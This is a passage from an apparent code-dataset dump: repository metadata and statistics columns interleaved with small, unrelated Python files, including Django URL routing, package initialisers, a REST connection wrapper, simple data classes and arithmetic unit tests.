| 0.047809
| 0.062906
| 0.794297
| 0.788425
| 0.769553
| 0.744391
| 0.670581
| 0.670581
| 0
| 0.01943
| 0.226784
| 7,721
| 184
| 115
| 41.961957
| 0.779397
| 0.313172
| 0
| 0.43956
| 0
| 0.043956
| 0.159664
| 0.03495
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.076923
| 0
| 0.076923
| 0.032967
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f4b3694750e60ed3e0fe7bdb1e6b181b2037b0a5
| 260
|
py
|
Python
|
mysite/urls.py
|
AmanRiat1/uOttaHack
|
9cd301c21721ef792ffb1232434ac43dd47d5e14
|
[
"MIT"
] | null | null | null |
mysite/urls.py
|
AmanRiat1/uOttaHack
|
9cd301c21721ef792ffb1232434ac43dd47d5e14
|
[
"MIT"
] | 1
|
2020-12-04T23:30:06.000Z
|
2020-12-04T23:30:06.000Z
|
mysite/urls.py
|
AmanRiat1/uOttaHack
|
9cd301c21721ef792ffb1232434ac43dd47d5e14
|
[
"MIT"
] | 1
|
2020-12-04T03:58:36.000Z
|
2020-12-04T03:58:36.000Z
|
from django.conf.urls import url
from django.conf import settings
from django.conf.urls.static import static
from . import views
urlpatterns = [
url(r'^$', views.basic, name='output'),
]+ static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
| 21.666667
| 66
| 0.757692
| 37
| 260
| 5.243243
| 0.432432
| 0.154639
| 0.216495
| 0.185567
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.126923
| 260
| 11
| 67
| 23.636364
| 0.854626
| 0
| 0
| 0
| 0
| 0
| 0.030769
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.571429
| 0
| 0.571429
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f4da74d76e8b4b7d2353ddc78e08f1b7ecb77326
| 368
|
py
|
Python
|
src/transformers/models/herbert/__init__.py
|
timpal0l/transformers
|
d86d57faa3b6511c6e4d9139535d77b695b9af8a
|
[
"Apache-2.0"
] | 2
|
2020-11-30T11:30:40.000Z
|
2021-03-26T17:20:33.000Z
|
src/transformers/models/herbert/__init__.py
|
timpal0l/transformers
|
d86d57faa3b6511c6e4d9139535d77b695b9af8a
|
[
"Apache-2.0"
] | 3
|
2021-06-08T23:15:29.000Z
|
2022-01-13T03:40:10.000Z
|
src/transformers/models/herbert/__init__.py
|
timpal0l/transformers
|
d86d57faa3b6511c6e4d9139535d77b695b9af8a
|
[
"Apache-2.0"
] | 1
|
2020-03-19T06:01:53.000Z
|
2020-03-19T06:01:53.000Z
|
# flake8: noqa
# There's no way to ignore "F401 '...' imported but unused" warnings in this
# module, but to preserve other warnings. So, don't check this module at all.
from ...file_utils import is_tokenizers_available
from .tokenization_herbert import HerbertTokenizer
if is_tokenizers_available():
from .tokenization_herbert_fast import HerbertTokenizerFast
| 33.454545
| 77
| 0.790761
| 51
| 368
| 5.54902
| 0.72549
| 0.070671
| 0.14841
| 0.176678
| 0.310954
| 0.310954
| 0
| 0
| 0
| 0
| 0
| 0.012658
| 0.141304
| 368
| 10
| 78
| 36.8
| 0.882911
| 0.442935
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.75
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
761131b1eaaeacd29621489b9b218598a1087a49
| 96
|
py
|
Python
|
np/reference/ch6code/determinant.py
|
focusunsink/study_python
|
322326642db54df8725793d70a95d21ac40b6507
|
[
"MIT"
] | null | null | null |
np/reference/ch6code/determinant.py
|
focusunsink/study_python
|
322326642db54df8725793d70a95d21ac40b6507
|
[
"MIT"
] | null | null | null |
np/reference/ch6code/determinant.py
|
focusunsink/study_python
|
322326642db54df8725793d70a95d21ac40b6507
|
[
"MIT"
] | null | null | null |
import numpy as np
A = np.mat("3 4;5 6")
print "A\n", A
print "Determinant", np.linalg.det(A)
| 13.714286
| 37
| 0.635417
| 21
| 96
| 2.904762
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.050633
| 0.177083
| 96
| 6
| 38
| 16
| 0.721519
| 0
| 0
| 0
| 0
| 0
| 0.21875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.25
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
761fd02c338fbdd75cbd8cf814665ce9941d451a
| 206
|
py
|
Python
|
sep/loaders/__init__.py
|
Fafa87/SEP
|
cdc8fdad83478d35aeb2992b8382aa4bc1763131
|
[
"MIT"
] | null | null | null |
sep/loaders/__init__.py
|
Fafa87/SEP
|
cdc8fdad83478d35aeb2992b8382aa4bc1763131
|
[
"MIT"
] | null | null | null |
sep/loaders/__init__.py
|
Fafa87/SEP
|
cdc8fdad83478d35aeb2992b8382aa4bc1763131
|
[
"MIT"
] | null | null | null |
from .files import FilesLoader
from .images import ImagesLoader
from .loader import Loader
from .movies import MoviesLoader, FrameByGroupSelector, FrameByIntervalSelector
from .youtube import YoutubeLoader
| 34.333333
| 79
| 0.859223
| 22
| 206
| 8.045455
| 0.590909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106796
| 206
| 5
| 80
| 41.2
| 0.961957
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
5211555aa6730b3a877c5281990d7e8bcef9d308
| 39
|
py
|
Python
|
pptx_template/__init__.py
|
skar404/pptx-template
|
f223b765c89224169f9621ebfa8e79be312a2598
|
[
"Apache-2.0"
] | 1
|
2020-06-16T17:22:40.000Z
|
2020-06-16T17:22:40.000Z
|
pptx_template/__init__.py
|
skar404/pptx-template
|
f223b765c89224169f9621ebfa8e79be312a2598
|
[
"Apache-2.0"
] | 19
|
2018-01-26T13:04:03.000Z
|
2020-04-27T19:43:08.000Z
|
pptx_template/__init__.py
|
skar404/pptx-template
|
f223b765c89224169f9621ebfa8e79be312a2598
|
[
"Apache-2.0"
] | 2
|
2018-05-14T18:18:57.000Z
|
2020-06-16T18:59:02.000Z
|
# coding=utf-8
__version__ = '0.2.7.6'
| 13
| 23
| 0.641026
| 8
| 39
| 2.625
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.147059
| 0.128205
| 39
| 2
| 24
| 19.5
| 0.470588
| 0.307692
| 0
| 0
| 0
| 0
| 0.28
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
521cb31b49429c735000fc8678d6cfb5420ec04c
| 196
|
py
|
Python
|
examples/apps/simple_imaging_app/__init__.py
|
jlvahldiek/monai-deploy-app-sdk
|
050aeabec581067a11566f59a2970b075d36ae7c
|
[
"Apache-2.0"
] | 28
|
2021-09-17T18:16:42.000Z
|
2022-03-31T16:32:36.000Z
|
examples/apps/simple_imaging_app/__init__.py
|
jlvahldiek/monai-deploy-app-sdk
|
050aeabec581067a11566f59a2970b075d36ae7c
|
[
"Apache-2.0"
] | 109
|
2021-09-17T18:34:31.000Z
|
2022-03-31T21:04:35.000Z
|
examples/apps/simple_imaging_app/__init__.py
|
jlvahldiek/monai-deploy-app-sdk
|
050aeabec581067a11566f59a2970b075d36ae7c
|
[
"Apache-2.0"
] | 11
|
2021-09-17T20:23:31.000Z
|
2022-03-29T08:55:19.000Z
|
import os
import sys
_current_dir = os.path.abspath(os.path.dirname(__file__))
if sys.path and os.path.abspath(sys.path[0]) != _current_dir:
sys.path.insert(0, _current_dir)
del _current_dir
| 24.5
| 61
| 0.760204
| 34
| 196
| 4.029412
| 0.411765
| 0.291971
| 0.189781
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011494
| 0.112245
| 196
| 7
| 62
| 28
| 0.775862
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
52213031642d4451fb1d0183770a419ec287cd7c
| 3,859
|
py
|
Python
|
pyserval/connection.py
|
umr-ds/pyserval
|
073363ee56754f122d5b09544f242d54a17165e3
|
[
"MIT"
] | 1
|
2017-08-29T19:37:31.000Z
|
2017-08-29T19:37:31.000Z
|
pyserval/connection.py
|
umr-ds/pyserval
|
073363ee56754f122d5b09544f242d54a17165e3
|
[
"MIT"
] | 16
|
2017-11-29T16:41:35.000Z
|
2019-09-30T13:44:10.000Z
|
pyserval/connection.py
|
umr-ds/pyserval
|
073363ee56754f122d5b09544f242d54a17165e3
|
[
"MIT"
] | 1
|
2017-08-20T21:51:52.000Z
|
2017-08-20T21:51:52.000Z
|
"""
pyserval.connection
~~~~~~~~~~~~~~~~~~~
"""
from pyserval.lowlevel.connection import RestfulConnection
from pyserval.exceptions import UnauthorizedError
from typing import Any
from requests.models import Response
class CheckedConnection(RestfulConnection):
"""Encapsulates HTTP-calls and throws exceptions for common error-cases
Args:
host (str): Hostname to connect to
port (int): Port to connect to
user (str): Username for HTTP basic auth
passwd (str): Password for HTTP basic auth
"""
def __init__(
self,
host: str = "localhost",
port: int = 4110,
user: str = "pyserval",
passwd: str = "pyserval",
) -> None:
RestfulConnection.__init__(self, host, port, user, passwd)
def get(self, path: str, **params: Any) -> Response:
"""Sends GET-request to REST-API
Args:
path (str): (relative) path to the REST-endpoint
params (Any): Additional parameters to be sent with the request
Returns:
requests.models.Response: Response returned by the serval-server
Throws:
UnauthorizedError: If username/password is wrong
"""
response = RestfulConnection.get(self, path, **params)
if response.status_code == 401:
raise UnauthorizedError()
return response
def post(self, path: str, **params: Any) -> Response:
"""Sends POST-request to REST-API
Args:
path (str): (relative) path to the REST-endpoint
params (dict[str, Any]): Additional parameters to be sent with the request
Returns:
requests.models.Response: Response returned by the serval-server
Throws:
UnauthorizedError: If username/password is wrong
"""
response = RestfulConnection.post(self, path, **params)
if response.status_code == 401:
raise UnauthorizedError()
return response
def put(self, path: str, **params: Any) -> Response:
"""Sends PUT-request to REST-API
Args:
path (str): (relative) path to the REST-endpoint
params (dict[str, Any]): Additional parameters to be sent with the request
Returns:
requests.models.Response: Response returned by the serval-server
Throws:
UnauthorizedError: If username/password is wrong
"""
response = RestfulConnection.put(self, path, **params)
if response.status_code == 401:
raise UnauthorizedError()
return response
def delete(self, path: str, **params: Any) -> Response:
"""Sends DELETE-request to REST-API
Args:
path (str): (relative) path to the REST-endpoint
params (dict[str, Any]): Additional parameters to be sent with the request
Returns:
requests.models.Response: Response returned by the serval-server
Throws:
UnauthorizedError: If username/password is wrong
"""
response = RestfulConnection.delete(self, path, **params)
if response.status_code == 401:
raise UnauthorizedError()
return response
def patch(self, path: str, **params: Any) -> Response:
"""Sends PATCH-request to REST-API
Args:
path (str): (relative) path to the REST-endpoint
params (dict[str, Any]): Additional parameters to be sent with the request
Returns:
requests.models.Response: Response returned by the serval-server
Throws:
UnauthorizedError: If username/password is wrong
"""
response = RestfulConnection.patch(self, path, **params)
if response.status_code == 401:
raise UnauthorizedError()
return response
| 29.458015
| 86
| 0.61078
| 418
| 3,859
| 5.607656
| 0.184211
| 0.03413
| 0.023464
| 0.036263
| 0.759386
| 0.759386
| 0.759386
| 0.688993
| 0.688993
| 0.688993
| 0
| 0.007014
| 0.298005
| 3,859
| 130
| 87
| 29.684615
| 0.85825
| 0.47318
| 0
| 0.394737
| 0
| 0
| 0.015198
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.157895
| false
| 0.052632
| 0.105263
| 0
| 0.421053
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
523761fb91ccb5b06145e836b3ddc175d4955712
| 1,471
|
py
|
Python
|
germanetpy/wictionaryparaphrase.py
|
Blubberli/GermaNetPy
|
5a90a06a6c200c82fa477db879e03fb98dcb540c
|
[
"Apache-2.0"
] | 2
|
2020-10-27T10:26:23.000Z
|
2022-02-02T15:31:56.000Z
|
germanetpy/wictionaryparaphrase.py
|
Blubberli/GermaNetPy
|
5a90a06a6c200c82fa477db879e03fb98dcb540c
|
[
"Apache-2.0"
] | null | null | null |
germanetpy/wictionaryparaphrase.py
|
Blubberli/GermaNetPy
|
5a90a06a6c200c82fa477db879e03fb98dcb540c
|
[
"Apache-2.0"
] | 1
|
2021-02-10T14:00:39.000Z
|
2021-02-10T14:00:39.000Z
|
class WiktionaryParaphrase:
def __init__(self, lexunit_id: str, wiktionary_id: str, wiktionary_sense_id: int, wiktionary_sense: str,
edited: bool):
"""
This class holds the Wictionary paraphrase object. A wictionary paraphrase can be part of lexical units. The
contain a definition of the lexical unit which helps to differentiate between different sense of a word.
:param lexunit_id: The lexical unit id, this wictionary entry belongs to
:param wiktionary_id: The corresponding wictionary identifier
:param wiktionary_sense_id: The sense identifier
:param wiktionary_sense: The sense definition
:param edited: If this paraphrase was edited.
"""
self._lexunit_id = lexunit_id
self._wiktionary_id = wiktionary_id
self._wiktionary_sense_id = wiktionary_sense_id
self._wiktionary_sense = wiktionary_sense
self._edited = edited
def __repr__(self):
return f'Wictionary(LexUnit ID={self.lexunit_id}, definition={self.wiktionary_sense})'
@property
def lexunit_id(self):
return self._lexunit_id
@property
def wiktionary_id(self):
return self._wiktionary_id
@property
def wiktionary_sense_id(self):
return self._wiktionary_sense_id
@property
def wiktionary_sense(self):
return self._wiktionary_sense
@property
def edited(self):
return self._edited
| 35.02381
| 116
| 0.695445
| 178
| 1,471
| 5.466292
| 0.264045
| 0.200411
| 0.10483
| 0.049332
| 0.188078
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.246091
| 1,471
| 41
| 117
| 35.878049
| 0.877367
| 0.332427
| 0
| 0.2
| 0
| 0
| 0.083516
| 0.061538
| 0
| 0
| 0
| 0
| 0
| 1
| 0.28
| false
| 0
| 0
| 0.24
| 0.56
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
5260a7678db3b63edbc71c51ad71ae9979094943
| 328
|
py
|
Python
|
tests/python/generated_typing_t.py
|
mychiux413/ConstConv
|
6c2190d1bb37ae5cfef8464f88371db97719b032
|
[
"MIT"
] | null | null | null |
tests/python/generated_typing_t.py
|
mychiux413/ConstConv
|
6c2190d1bb37ae5cfef8464f88371db97719b032
|
[
"MIT"
] | null | null | null |
tests/python/generated_typing_t.py
|
mychiux413/ConstConv
|
6c2190d1bb37ae5cfef8464f88371db97719b032
|
[
"MIT"
] | null | null | null |
from .generated_typing import MultiLangs, ZH_TW, EN
def test_generated():
ml = MultiLangs(ZH_TW)
assert ml.hello == "您好,歡迎"
assert ml.login == "登入"
assert ml.select_lang == "繁體中文"
ml.set_lang(EN)
assert ml.hello == "Hello,Welcome"
assert ml.login == "Login"
assert ml.select_lang == "English"
| 23.428571
| 51
| 0.64939
| 47
| 328
| 4.382979
| 0.489362
| 0.23301
| 0.135922
| 0.174757
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.216463
| 328
| 13
| 52
| 25.230769
| 0.801556
| 0
| 0
| 0
| 1
| 0
| 0.109756
| 0
| 0
| 0
| 0
| 0
| 0.6
| 1
| 0.1
| false
| 0
| 0.1
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
528ef36f77cf3b8f1e175d53a9b454dd3f9a04dc
| 919
|
py
|
Python
|
jobcrawler/core/email/address.py
|
amakus/JobCrawler
|
770e05dd439ad3c269aeb3d7e284d891893faa2d
|
[
"MIT"
] | null | null | null |
jobcrawler/core/email/address.py
|
amakus/JobCrawler
|
770e05dd439ad3c269aeb3d7e284d891893faa2d
|
[
"MIT"
] | 1
|
2021-11-15T17:48:36.000Z
|
2021-11-15T17:48:36.000Z
|
jobcrawler/core/email/address.py
|
amakus/JobCrawler
|
770e05dd439ad3c269aeb3d7e284d891893faa2d
|
[
"MIT"
] | null | null | null |
class EmailAddress:
def __init__(self, email):
self.email = email
self._email_tpl = tuple(self._email.split('@'))
def __str__(self):
return self.email
def __repr__(self):
return f"{EmailAddress.__name__}('{self.email}')"
@property
def email(self):
return self._email
@email.setter
def email(self, email):
self._email = str(email)
if not self._is_valid():
raise ValueError(f'{self.email} is not a valid email address')
@property
def user(self):
return self._email_tpl[0]
@property
def domain(self):
return self._email_tpl[1]
def _is_valid(self):
email_split = self._email.split('@')
if len(email_split) != 2:
return False
domain_split = email_split[1].split('.')
if len(domain_split) < 2:
return False
return True
| 22.414634
| 74
| 0.579978
| 113
| 919
| 4.40708
| 0.283186
| 0.253012
| 0.11245
| 0.15261
| 0.088353
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007825
| 0.304679
| 919
| 40
| 75
| 22.975
| 0.771518
| 0
| 0
| 0.166667
| 0
| 0
| 0.090316
| 0.042437
| 0
| 0
| 0
| 0
| 0
| 1
| 0.266667
| false
| 0
| 0
| 0.166667
| 0.566667
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
bfe9947640d576744abfd3f0393187a29fca3d7d
| 235
|
py
|
Python
|
finance_ml/features/__init__.py
|
zli69/finance_ml
|
1c5a0e5b7d65e7c97aa9ad361b6656e870e4d0d4
|
[
"MIT"
] | 51
|
2019-02-01T19:43:37.000Z
|
2022-03-16T09:07:03.000Z
|
finance_ml/features/__init__.py
|
zli69/finance_ml
|
1c5a0e5b7d65e7c97aa9ad361b6656e870e4d0d4
|
[
"MIT"
] | 2
|
2019-02-23T18:54:22.000Z
|
2019-11-09T01:30:32.000Z
|
finance_ml/features/__init__.py
|
zli69/finance_ml
|
1c5a0e5b7d65e7c97aa9ad361b6656e870e4d0d4
|
[
"MIT"
] | 35
|
2019-02-08T02:00:31.000Z
|
2022-03-01T23:17:00.000Z
|
from .importance import feat_imp_MDA, feat_imp_MDI, feat_imp_SFI
from .orth import get_evec, ortho_feats
from .entropy import match_length, lempel_zib_lib, get_entropy_rate, plug_in, konto
from .fraction import get_opt_d, frac_diff_FFD
| 58.75
| 83
| 0.851064
| 42
| 235
| 4.333333
| 0.690476
| 0.115385
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097872
| 235
| 4
| 84
| 58.75
| 0.858491
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
87058c59d2c4c5e43ec4ee6c9b06e7466fd2ec9f
| 158
|
py
|
Python
|
reference/apps.py
|
tanyong8520/tushare
|
d9dc8ef02b6d27f5956cbe86d8fd4b83ee2ebf72
|
[
"MIT"
] | null | null | null |
reference/apps.py
|
tanyong8520/tushare
|
d9dc8ef02b6d27f5956cbe86d8fd4b83ee2ebf72
|
[
"MIT"
] | null | null | null |
reference/apps.py
|
tanyong8520/tushare
|
d9dc8ef02b6d27f5956cbe86d8fd4b83ee2ebf72
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.apps import AppConfig
class ReferenceConfig(AppConfig):
name = 'reference'
| 17.555556
| 39
| 0.740506
| 18
| 158
| 6.222222
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.007519
| 0.158228
| 158
| 8
| 40
| 19.75
| 0.834586
| 0.132911
| 0
| 0
| 0
| 0
| 0.066667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
870e009beb8185d059ba2585c55121f3e36f9fac
| 207
|
py
|
Python
|
vector.py
|
progs2002/Langton-s-Ant
|
7c43250860f206965ba15b89028101a80cb30638
|
[
"MIT"
] | 4
|
2021-06-08T07:42:02.000Z
|
2021-07-15T15:30:39.000Z
|
vector.py
|
progs2002/Langton-s-Ant
|
7c43250860f206965ba15b89028101a80cb30638
|
[
"MIT"
] | null | null | null |
vector.py
|
progs2002/Langton-s-Ant
|
7c43250860f206965ba15b89028101a80cb30638
|
[
"MIT"
] | 2
|
2021-07-15T15:30:41.000Z
|
2021-07-15T15:35:20.000Z
|
class Vector:
def __init__(self,x,y):
self.x=x
self.y=y
def __repr__(self):
return str(self.x) +"i, "+ str(self.y)+"j"
def dotProduct(v1,v2):
return v1.x*v2.x + v1.y*v2.y
| 23
| 50
| 0.550725
| 38
| 207
| 2.789474
| 0.394737
| 0.141509
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.039474
| 0.2657
| 207
| 9
| 51
| 23
| 0.657895
| 0
| 0
| 0
| 0
| 0
| 0.019231
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.375
| false
| 0
| 0
| 0.25
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
871c4d2f3cbdc2c494c6d85479924186043e1f43
| 248
|
py
|
Python
|
mayan/apps/common/queues.py
|
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
|
0e4e919fd2e1ded6711354a0330135283e87f8c7
|
[
"Apache-2.0"
] | 2
|
2021-09-12T19:41:19.000Z
|
2021-09-12T19:41:20.000Z
|
mayan/apps/common/queues.py
|
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
|
0e4e919fd2e1ded6711354a0330135283e87f8c7
|
[
"Apache-2.0"
] | 37
|
2021-09-13T01:00:12.000Z
|
2021-10-02T03:54:30.000Z
|
mayan/apps/common/queues.py
|
CMU-313/fall-2021-hw2-451-unavailable-for-legal-reasons
|
0e4e919fd2e1ded6711354a0330135283e87f8c7
|
[
"Apache-2.0"
] | 1
|
2021-09-22T13:17:30.000Z
|
2021-09-22T13:17:30.000Z
|
from django.utils.translation import ugettext_lazy as _
from mayan.apps.task_manager.classes import CeleryQueue
from mayan.apps.task_manager.workers import worker_d
queue_tools = CeleryQueue(label=_('Tools'), name='tools', worker=worker_d)
| 35.428571
| 75
| 0.802419
| 35
| 248
| 5.457143
| 0.6
| 0.094241
| 0.136126
| 0.17801
| 0.251309
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108871
| 248
| 6
| 76
| 41.333333
| 0.864253
| 0
| 0
| 0
| 0
| 0
| 0.041322
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
872367b5cbd2d3299fb7dfee49bcb4c4d4ded3f6
| 272
|
py
|
Python
|
pygenome/fitness/loss.py
|
jorgetavares/pygenome
|
2b529ea55feff8c4a0214b37354d4d7c273202a3
|
[
"MIT"
] | 1
|
2019-11-18T14:41:20.000Z
|
2019-11-18T14:41:20.000Z
|
pygenome/fitness/loss.py
|
jorgetavares/pygenome
|
2b529ea55feff8c4a0214b37354d4d7c273202a3
|
[
"MIT"
] | null | null | null |
pygenome/fitness/loss.py
|
jorgetavares/pygenome
|
2b529ea55feff8c4a0214b37354d4d7c273202a3
|
[
"MIT"
] | null | null | null |
import numpy as np
def mean_squared_error(x, y):
'''
Mean Squared Error (MSR)
Args:
x (array): array of predictions
y (array): array of labels
Returns:
the mean squared error
'''
return np.sum(np.sqrt(np.square(x - y)))
| 17
| 44
| 0.577206
| 39
| 272
| 3.974359
| 0.564103
| 0.212903
| 0.309677
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.3125
| 272
| 15
| 45
| 18.133333
| 0.828877
| 0.496324
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
872a9237e21431df5d69feeb3e57d440932d922e
| 1,564
|
py
|
Python
|
tests/test_jdla_basic.py
|
JosueDLA/BasicModule
|
1781ffb17c4be8455d6b6d660c4f83897a04e432
|
[
"MIT"
] | null | null | null |
tests/test_jdla_basic.py
|
JosueDLA/BasicModule
|
1781ffb17c4be8455d6b6d660c4f83897a04e432
|
[
"MIT"
] | null | null | null |
tests/test_jdla_basic.py
|
JosueDLA/BasicModule
|
1781ffb17c4be8455d6b6d660c4f83897a04e432
|
[
"MIT"
] | null | null | null |
import unittest
from jdla_basic import basic_operations
class Test_basic_opea(unittest.TestCase):
def test_add(self):
self.assertEqual(basic_operations.addition(10, 5), 15)
self.assertEqual(basic_operations.addition(-1, 1), 0)
self.assertEqual(basic_operations.addition(1, -1), 0)
self.assertEqual(basic_operations.addition(-1, -1), -2)
def test_sub(self):
self.assertEqual(basic_operations.substraction(10, 5), 5)
self.assertEqual(basic_operations.substraction(-1, 1), -2)
self.assertEqual(basic_operations.substraction(1, -1), 2)
self.assertEqual(basic_operations.substraction(-1, -1), -0)
def test_multi(self):
self.assertEqual(basic_operations.multiplication(10, 5), 50)
self.assertEqual(basic_operations.multiplication(-1, 1), -1)
self.assertEqual(basic_operations.multiplication(1, -1), -1)
self.assertEqual(basic_operations.multiplication(-1, -1), 1)
def test_divi(self):
self.assertEqual(basic_operations.division(10, 5), 2)
